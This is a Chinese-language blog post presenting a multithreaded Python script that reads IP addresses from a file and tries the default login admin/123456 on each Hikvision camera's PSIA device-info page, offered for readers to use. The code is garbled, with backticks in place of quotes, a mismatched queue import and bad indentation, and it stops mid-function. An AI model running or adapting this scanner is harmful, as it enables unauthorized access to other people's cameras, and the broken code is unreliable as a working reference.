Python海康威視批量掃弱密碼

z奶油麵包發表於2018-02-28
版權宣告:轉載請註明出處:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396335

是Python2還是3我給忘記了,大家自己試試吧。

#!/usr/bin/env python
#-*-coding:utf-8-*-
#批量篩選海康威視攝像頭的弱密碼
import threading
import requests
import queue
import sys
import re

def Threads():
    threadlist=[]
    queue=Queue.Queue()
    for ip in open(`ip.txt`,`r`): #掃描出的ip
        queue.put(ip.replace(`
`,``))
    for x in range(0,10):  #執行緒數
        th=threading.Thread(target=scan_Hikvision,args=(queue,))
        threadlist.append(th)
    for t in threadlist:
        t.start()
    for t in threadlist:
        t.join()

def scan_Hikvision(queue):
    while not queue.empty():
        ip=queue.get()
            try:
                print("[*]scan:"+ip)
                r = requests.get(url=("http://%s/PSIA/System/deviceinfo" % ip),auth=(`admin`,`123456`))


相關文章